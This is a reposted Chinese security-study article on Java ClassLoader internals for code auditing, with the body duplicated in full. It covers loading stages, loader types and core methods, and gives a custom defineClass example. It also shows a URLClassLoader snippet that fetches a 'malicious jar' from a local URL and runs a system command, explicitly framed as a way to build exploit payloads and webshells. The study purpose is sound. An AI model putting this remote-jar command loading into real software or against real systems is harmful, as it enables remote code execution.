IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> JavaScript知识库 -> 代码审计_ClassLoader -> 正文阅读

[JavaScript知识库]代码审计_ClassLoader

验证阶段:确保加载类的正确性、保证吗代码对系统没有危害

准备阶段:对于类的静态变量分配内存、并将其初始化为默认值、默认值为0。static final变量默认不会改变

解析:把符号引用转换为直接引用,符号引用是一组描述符,直接引用是直接指向类的指针

初始化

类加载最后阶段、若该类具有父类,则先对父类进行初始化、执行静态变量赋值,成员变量也将被初始化

ClassLoader分类

?Bootstrap ClassLoader启动类加载器

o加载java核心类库

o/jre/lib/ 下的类库加载到JVM内存

o不能被开发者调用

?Extension ClassLoader扩展类加载器

o扩展类加载器主要用于加载/jre/lib/ext目录下的类库或者系统变量java.ext.dirs指定目录下的类库

o可被开发者调用

?Application ClassLoader应用程序类加载器

o从classpath环境变量或者系统属性java.class.path所指定的目录中加载类

o可被开发者调用

ClassLoader核心方法

?loadClass加载java类

?findClass查找java类

?findLoadedClass查找已经加载的java类

?defineClass定义java类

?resolveClass连接java类

一、loadClass方法:加载指定的java类

返回类型:类对象

首先,判断是否已经加载Class c = findLoadedClass(name);

若之前未加载,判断当前类加载器是否还有父类加载器,则使用父类加载器进行加载?c = parent.loadClass(name, false);

若不存在父类加载器,则默认先使用启动类加载器c = findBootstrapClassOrNull(name);

若返回null,则依照自己的搜索路径去查找类c = findClass(name);,没有重写ClassLoader类的情况下则是直接抛出异常

最后,若成功查找到类,链接找到的类resolveClass(c);

启动类加载器——>扩展类加载器——>应用程序类加载器——>自定义类加载器

由于启动类加载器Bootstrap ClassLoader是C++写的,java源码中不存在该类,所以以下调用发现扩展类加载器Extension ClassLoader的父类加载器返回NULL

二、findClass方法:

在自定义类加载器时,一般需要覆盖掉这个方法,且ClassLoader中给出了一个默认的错误实现,当我们覆盖掉这个类时,程序将会调用我们写的类。

三、defineClass:定义java类

?该方法的签名如下。用来将byte字节解析成虚拟机能够识别的Class对象。

?defineClass()方法通常与findClass()一起使用。

?在自定义类加载器时,会直接覆盖掉ClassLoader的findClass()方法获取要加载类的字节码,然后调用defineClass()方法生成Class对象。

defineClass的主要输入参数是

?类路径名

?自定义类的字节数组

?读入字节数组的index

?读入字节数组的长度
?

四、resolveClass方法:链接java类

返回类型:void

同样是外部方法定义

在反序列化中

如果类描述符是动态代理类,则调用resolveProxyClass方法来获取本地类

如果不是动态代理类则调用resolveClass方法来获取本地类

因此经常在resolveClass方法中检测是否有恶意类,即进行黑名单判断

重写findClass方法

package DayTwoPrevKonw; /* * 执行流程如下 * main方法初始化自定义类加载器 * 调用父类ClassLoader的loadClass自定义加载器加载目标类 * 使用findLoadedClass查看是否加载目标类,返回结果为null * 父类不为空、调用parent.loadClass加载目标类,返回结果为空 *返回结果为空,调用自定义类加载器的findclass方法 * 使用definceclass生成对应类的对象 * */ import java.lang.reflect.Method; public class WhynotClassloader extends ClassLoader { // TestHelloWorld类名 private static String testClassName = "DayTwoPrevKonw.test"; // TestHelloWorld类字节码 private static byte[] testClassBytes = new byte[]{ -54, -2, -70, -66, 0, 0, 0, 52, 0, 19, 10, 0, 4, 0, 14, 8, 0, 15, 7, 0, 16, 7, 0, 17, 7, 0, 18, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 4, 116, 101, 115, 116, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 9, 116, 101, 115, 116, 46, 106, 97, 118, 97, 12, 0, 6, 0, 7, 1, 0, 18, 105, 110, 32, 116, 104, 101, 32, 99, 108, 97, 115, 115, 108, 111, 97, 100, 101, 114, 1, 0, 19, 68, 97, 121, 84, 119, 111, 80, 114, 101, 118, 75, 111, 110, 119, 47, 116, 101, 115, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 20, 106, 97, 118, 97, 47, 105, 111, 47, 83, 101, 114, 105, 97, 108, 105, 122, 97, 98, 108, 101, 0, 33, 0, 3, 0, 4, 0, 1, 0, 5, 0, 0, 0, 2, 0, 1, 0, 6, 0, 7, 0, 1, 0, 8, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 9, 0, 0, 0, 6, 0, 1, 0, 0, 0, 5, 0, 1, 0, 10, 0, 11, 0, 1, 0, 8, 0, 0, 0, 27, 0, 1, 0, 1, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 1, 0, 9, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 0, 1, 0, 12, 0, 0, 0, 2, 0, 13 }; @Override public Class findClass(String name) throws ClassNotFoundException { System.out.println("In the customer findclass"); // 只处理TestHelloWorld类 if (name.equals(testClassName)) { // 调用JVM的native方法定义TestHelloWorld类 return defineClass(testClassName, testClassBytes, 0, testClassBytes.length); } return super.findClass(name); } public static void main(String[] args) { // 创建自定义的类加载器 WhynotClassloader loader = new WhynotClassloader(); try { // 使用自定义的类加载器加载TestHelloWorld类 Class testClass = loader.loadClass(testClassName); System.out.println(testClass.getClassLoader()); // 反射创建TestHelloWorld类,等价于 TestHelloWorld t = new TestHelloWorld(); Object testInstance = testClass.newInstance(); // 反射获取hello方法 Method method = testInstance.getClass().getMethod("test"); // 反射调用hello方法,等价于 String str = t.hello(); String str = (String) method.invoke(testInstance); System.out.println(str); } catch (Exception e) { e.printStackTrace(); } } }package DayTwoPrevKonw; import java.lang.reflect.Method; public class WhynotClassloader extends ClassLoader { // TestHelloWorld类名 private static String testClassName = "DayTwoPrevKonw.test"; // TestHelloWorld类字节码 private static byte[] testClassBytes = new byte[]{ -54, -2, -70, -66, 0, 0, 0, 52, 0, 19, 10, 0, 4, 0, 14, 8, 0, 15, 7, 0, 16, 7, 0, 17, 7, 0, 18, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 4, 116, 101, 115, 116, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 9, 116, 101, 115, 116, 46, 106, 97, 118, 97, 12, 0, 6, 0, 7, 1, 0, 18, 105, 110, 32, 116, 104, 101, 32, 99, 108, 97, 115, 115, 108, 111, 97, 100, 101, 114, 1, 0, 19, 68, 97, 121, 84, 119, 111, 80, 114, 101, 118, 75, 111, 110, 119, 47, 116, 101, 115, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 20, 106, 97, 118, 97, 47, 105, 111, 47, 83, 101, 114, 105, 97, 108, 105, 122, 97, 98, 108, 101, 0, 33, 0, 3, 0, 4, 0, 1, 0, 5, 0, 0, 0, 2, 0, 1, 0, 6, 0, 7, 0, 1, 0, 8, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 9, 0, 0, 0, 6, 0, 1, 0, 0, 0, 5, 0, 1, 0, 10, 0, 11, 0, 1, 0, 8, 0, 0, 0, 27, 0, 1, 0, 1, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 1, 0, 9, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 0, 1, 0, 12, 0, 0, 0, 2, 0, 13 }; @Override public Class findClass(String name) throws ClassNotFoundException { System.out.println("In the customer findclass"); // 只处理TestHelloWorld类 if (name.equals(testClassName)) { // 调用JVM的native方法定义TestHelloWorld类 return defineClass(testClassName, testClassBytes, 0, testClassBytes.length); } return super.findClass(name); } public static void main(String[] args) { // 创建自定义的类加载器 WhynotClassloader loader = new WhynotClassloader(); try { // 使用自定义的类加载器加载TestHelloWorld类 Class testClass = loader.loadClass(testClassName); System.out.println(testClass.getClassLoader()); // 反射创建TestHelloWorld类,等价于 TestHelloWorld t = new TestHelloWorld(); System.out.println("parent"+testClass.getClassLoader().getParent()); Object testInstance = testClass.newInstance(); // 反射获取hello方法 Method method = testInstance.getClass().getMethod("test"); // 反射调用hello方法,等价于 String str = t.hello(); String str = (String) method.invoke(testInstance); System.out.println(str); } catch (Exception e) { e.printStackTrace(); } } } In the customer findclass DayTwoPrevKonw.WhynotClassloader@74a14482 sun.misc.Launcher$AppClassLoader@18b4aac2 in the classloader

URLClassLoader

在java.net包中,JDK提供了一个易用的类加载器URLClassLoader,它继承了ClassLoader。

URLClassLoader提供了加载远程资源的能力,在写漏洞利用的payload或者webshell的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用。

构造方法

public URLClassLoader(URL[] urls) //指定要加载的类所在的URL地址,父类加载器默认为系统类加载器。public URLClassLoader(URL[] urls, ClassLoader parent) //指定要加载的类所在的URL地址,并指定父类加载器。

示例一、远程获取jar文件

1、首先编写恶意Jar文件

2、使用如下命令打包jar文件

jar -cvmf manifest.txt app.jar *.class

3、编写Urlclassloader

package DayTwoPrevKonw; import java.io.ByteArrayOutputStream; import java.io.InputStream; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader; public class UrlClassLoaderExample extends ClassLoader { public static void main(String[] args) { try { // 定义远程加载的jar路径 URL url = new URL("http://127.0.0.1:8000/app.jar"); // 创建URLClassLoader对象,并加载远程jar包 URLClassLoader ucl = new URLClassLoader(new URL[]{url}); // 定义需要执行的系统命令 String cmd = "ipconfig"; // 通过URLClassLoader加载远程jar包中的CMD类 Class cmdClass = ucl.loadClass("temp.CMD"); // 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami"); Process process = (Process) cmdClass.getMethod("execs", String.class).invoke(null, cmd); // 获取命令执行结果的输入流 InputStream in = process.getInputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] b = new byte[1024]; int len = 0; // 读取命令执行结果 while ((len=in.read(b))!=-1) { baos.write(b); } // 输出命令执行结果 System.out.println(baos.toString()); } catch (Exception e) { e.printStackTrace(); } } }

类的显示与隐式加载

Java类动态加载方式

Java类加载方式分为显式和隐式,显式即我们通常使用Java反射或者ClassLoader来动态加载一个类对象,而隐式指的是类名.方法名()或new类实例。显式类加载方式也可以理解为类动态加载,我们可以自定义类加载器去加载任意的类。

常用的类动态加载方式:

// 反射加载CMD示例 Class.forName("temp.CMD") // ClassLoader加载TestHelloWorld示例 this.getClass().getClassLoader().loadClass("com.Classloader.TestHelloWorld");

Class.forName("类名")默认会初始化被加载类的静态属性和方法,如果不希望初始化类可以使用Class.forName("类名", 是否初始化类, 类加载器),而ClassLoader.loadClass默认不会初始化类方法。

验证阶段:确保加载类的正确性、保证吗代码对系统没有危害

准备阶段:对于类的静态变量分配内存、并将其初始化为默认值、默认值为0。static final变量默认不会改变

解析:把符号引用转换为直接引用,符号引用是一组描述符,直接引用是直接指向类的指针

初始化

类加载最后阶段、若该类具有父类,则先对父类进行初始化、执行静态变量赋值,成员变量也将被初始化

ClassLoader分类

?Bootstrap ClassLoader启动类加载器

o加载java核心类库

o/jre/lib/ 下的类库加载到JVM内存

o不能被开发者调用

?Extension ClassLoader扩展类加载器

o扩展类加载器主要用于加载/jre/lib/ext目录下的类库或者系统变量java.ext.dirs指定目录下的类库

o可被开发者调用

?Application ClassLoader应用程序类加载器

o从classpath环境变量或者系统属性java.class.path所指定的目录中加载类

o可被开发者调用

ClassLoader核心方法

?loadClass加载java类

?findClass查找java类

?findLoadedClass查找已经加载的java类

?defineClass定义java类

?resolveClass连接java类

一、loadClass方法:加载指定的java类

返回类型:类对象

首先,判断是否已经加载Class c = findLoadedClass(name);

若之前未加载,判断当前类加载器是否还有父类加载器,则使用父类加载器进行加载?c = parent.loadClass(name, false);

若不存在父类加载器,则默认先使用启动类加载器c = findBootstrapClassOrNull(name);

若返回null,则依照自己的搜索路径去查找类c = findClass(name);,没有重写ClassLoader类的情况下则是直接抛出异常

最后,若成功查找到类,链接找到的类resolveClass(c);

启动类加载器——>扩展类加载器——>应用程序类加载器——>自定义类加载器

由于启动类加载器Bootstrap ClassLoader是C++写的,java源码中不存在该类,所以以下调用发现扩展类加载器Extension ClassLoader的父类加载器返回NULL

二、findClass方法:

在自定义类加载器时,一般需要覆盖掉这个方法,且ClassLoader中给出了一个默认的错误实现,当我们覆盖掉这个类时,程序将会调用我们写的类。

三、defineClass:定义java类

?该方法的签名如下。用来将byte字节解析成虚拟机能够识别的Class对象。

?defineClass()方法通常与findClass()一起使用。

?在自定义类加载器时,会直接覆盖掉ClassLoader的findClass()方法获取要加载类的字节码,然后调用defineClass()方法生成Class对象。

defineClass的主要输入参数是

?类路径名

?自定义类的字节数组

?读入字节数组的index

?读入字节数组的长度
四、resolveClass方法:链接java类

返回类型:void

同样是外部方法定义

在反序列化中

如果类描述符是动态代理类,则调用resolveProxyClass方法来获取本地类

如果不是动态代理类则调用resolveClass方法来获取本地类

因此经常在resolveClass方法中检测是否有恶意类,即进行黑名单判断

重写findClass方法

package DayTwoPrevKonw; /* * 执行流程如下 * main方法初始化自定义类加载器 * 调用父类ClassLoader的loadClass自定义加载器加载目标类 * 使用findLoadedClass查看是否加载目标类,返回结果为null * 父类不为空、调用parent.loadClass加载目标类,返回结果为空 *返回结果为空,调用自定义类加载器的findclass方法 * 使用definceclass生成对应类的对象 * */ import java.lang.reflect.Method; public class WhynotClassloader extends ClassLoader { // TestHelloWorld类名 private static String testClassName = "DayTwoPrevKonw.test"; // TestHelloWorld类字节码 private static byte[] testClassBytes = new byte[]{ -54, -2, -70, -66, 0, 0, 0, 52, 0, 19, 10, 0, 4, 0, 14, 8, 0, 15, 7, 0, 16, 7, 0, 17, 7, 0, 18, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 4, 116, 101, 115, 116, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 9, 116, 101, 115, 116, 46, 106, 97, 118, 97, 12, 0, 6, 0, 7, 1, 0, 18, 105, 110, 32, 116, 104, 101, 32, 99, 108, 97, 115, 115, 108, 111, 97, 100, 101, 114, 1, 0, 19, 68, 97, 121, 84, 119, 111, 80, 114, 101, 118, 75, 111, 110, 119, 47, 116, 101, 115, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 20, 106, 97, 118, 97, 47, 105, 111, 47, 83, 101, 114, 105, 97, 108, 105, 122, 97, 98, 108, 101, 0, 33, 0, 3, 0, 4, 0, 1, 0, 5, 0, 0, 0, 2, 0, 1, 0, 6, 0, 7, 0, 1, 0, 8, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 9, 0, 0, 0, 6, 0, 1, 0, 0, 0, 5, 0, 1, 0, 10, 0, 11, 0, 1, 0, 8, 0, 0, 0, 27, 0, 1, 0, 1, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 1, 0, 9, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 0, 1, 0, 12, 0, 0, 0, 2, 0, 13 }; @Override public Class findClass(String name) throws ClassNotFoundException { System.out.println("In the customer findclass"); // 只处理TestHelloWorld类 if (name.equals(testClassName)) { // 调用JVM的native方法定义TestHelloWorld类 return defineClass(testClassName, testClassBytes, 0, testClassBytes.length); } return super.findClass(name); } public static void main(String[] args) { // 创建自定义的类加载器 WhynotClassloader loader = new WhynotClassloader(); try { // 使用自定义的类加载器加载TestHelloWorld类 Class testClass = loader.loadClass(testClassName); System.out.println(testClass.getClassLoader()); // 反射创建TestHelloWorld类,等价于 TestHelloWorld t = new TestHelloWorld(); Object testInstance = testClass.newInstance(); // 反射获取hello方法 Method method = testInstance.getClass().getMethod("test"); // 反射调用hello方法,等价于 String str = t.hello(); String str = (String) method.invoke(testInstance); System.out.println(str); } catch (Exception e) { e.printStackTrace(); } } }package DayTwoPrevKonw; import java.lang.reflect.Method; public class WhynotClassloader extends ClassLoader { // TestHelloWorld类名 private static String testClassName = "DayTwoPrevKonw.test"; // TestHelloWorld类字节码 private static byte[] testClassBytes = new byte[]{ -54, -2, -70, -66, 0, 0, 0, 52, 0, 19, 10, 0, 4, 0, 14, 8, 0, 15, 7, 0, 16, 7, 0, 17, 7, 0, 18, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 4, 116, 101, 115, 116, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 9, 116, 101, 115, 116, 46, 106, 97, 118, 97, 12, 0, 6, 0, 7, 1, 0, 18, 105, 110, 32, 116, 104, 101, 32, 99, 108, 97, 115, 115, 108, 111, 97, 100, 101, 114, 1, 0, 19, 68, 97, 121, 84, 119, 111, 80, 114, 101, 118, 75, 111, 110, 119, 47, 116, 101, 115, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 20, 106, 97, 118, 97, 47, 105, 111, 47, 83, 101, 114, 105, 97, 108, 105, 122, 97, 98, 108, 101, 0, 33, 0, 3, 0, 4, 0, 1, 0, 5, 0, 0, 0, 2, 0, 1, 0, 6, 0, 7, 0, 1, 0, 8, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 9, 0, 0, 0, 6, 0, 1, 0, 0, 0, 5, 0, 1, 0, 10, 0, 11, 0, 1, 0, 8, 0, 0, 0, 27, 0, 1, 0, 1, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 1, 0, 9, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 0, 1, 0, 12, 0, 0, 0, 2, 0, 13 }; @Override public Class findClass(String name) throws ClassNotFoundException { System.out.println("In the customer findclass"); // 只处理TestHelloWorld类 if (name.equals(testClassName)) { // 调用JVM的native方法定义TestHelloWorld类 return defineClass(testClassName, testClassBytes, 0, testClassBytes.length); } return super.findClass(name); } public static void main(String[] args) { // 创建自定义的类加载器 WhynotClassloader loader = new WhynotClassloader(); try { // 使用自定义的类加载器加载TestHelloWorld类 Class testClass = loader.loadClass(testClassName); System.out.println(testClass.getClassLoader()); // 反射创建TestHelloWorld类,等价于 TestHelloWorld t = new TestHelloWorld(); System.out.println("parent"+testClass.getClassLoader().getParent()); Object testInstance = testClass.newInstance(); // 反射获取hello方法 Method method = testInstance.getClass().getMethod("test"); // 反射调用hello方法,等价于 String str = t.hello(); String str = (String) method.invoke(testInstance); System.out.println(str); } catch (Exception e) { e.printStackTrace(); } } } In the customer findclass DayTwoPrevKonw.WhynotClassloader@74a14482 sun.misc.Launcher$AppClassLoader@18b4aac2 in the classloader

URLClassLoader

在java.net包中,JDK提供了一个易用的类加载器URLClassLoader,它继承了ClassLoader。

URLClassLoader提供了加载远程资源的能力,在写漏洞利用的payload或者webshell的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用。

构造方法

public URLClassLoader(URL[] urls) //指定要加载的类所在的URL地址,父类加载器默认为系统类加载器。public URLClassLoader(URL[] urls, ClassLoader parent) //指定要加载的类所在的URL地址,并指定父类加载器。

示例一、远程获取jar文件

1、首先编写恶意Jar文件

2、使用如下命令打包jar文件

jar -cvmf manifest.txt app.jar *.class

3、编写Urlclassloader

package DayTwoPrevKonw; import java.io.ByteArrayOutputStream; import java.io.InputStream; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader; public class UrlClassLoaderExample extends ClassLoader { public static void main(String[] args) { try { // 定义远程加载的jar路径 URL url = new URL("http://127.0.0.1:8000/app.jar"); // 创建URLClassLoader对象,并加载远程jar包 URLClassLoader ucl = new URLClassLoader(new URL[]{url}); // 定义需要执行的系统命令 String cmd = "ipconfig"; // 通过URLClassLoader加载远程jar包中的CMD类 Class cmdClass = ucl.loadClass("temp.CMD"); // 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami"); Process process = (Process) cmdClass.getMethod("execs", String.class).invoke(null, cmd); // 获取命令执行结果的输入流 InputStream in = process.getInputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] b = new byte[1024]; int len = 0; // 读取命令执行结果 while ((len=in.read(b))!=-1) { baos.write(b); } // 输出命令执行结果 System.out.println(baos.toString()); } catch (Exception e) { e.printStackTrace(); } } }

类的显示与隐式加载

Java类动态加载方式

Java类加载方式分为显式和隐式,显式即我们通常使用Java反射或者ClassLoader来动态加载一个类对象,而隐式指的是类名.方法名()或new类实例。显式类加载方式也可以理解为类动态加载,我们可以自定义类加载器去加载任意的类。

常用的类动态加载方式:

// 反射加载CMD示例 Class.forName("temp.CMD") // ClassLoader加载TestHelloWorld示例 this.getClass().getClassLoader().loadClass("com.Classloader.TestHelloWorld");

Class.forName("类名")默认会初始化被加载类的静态属性和方法,如果不希望初始化类可以使用Class.forName("类名", 是否初始化类, 类加载器),而ClassLoader.loadClass默认不会初始化类方法。

  JavaScript知识库 最新文章
ES6的相关知识点
react 函数式组件 & react其他一些总结
Vue基础超详细
前端JS也可以连点成线(Vue中运用 AntVG6)
Vue事件处理的基本使用
Vue后台项目的记录 (一)
前后端分离vue跨域,devServer配置proxy代理
TypeScript
初识vuex
vue项目安装包指令收集
上一篇文章      下一篇文章      查看所有文章
加:2022-03-17 22:02:04  更:2022-03-17 22:04:30 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 5:35:26-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码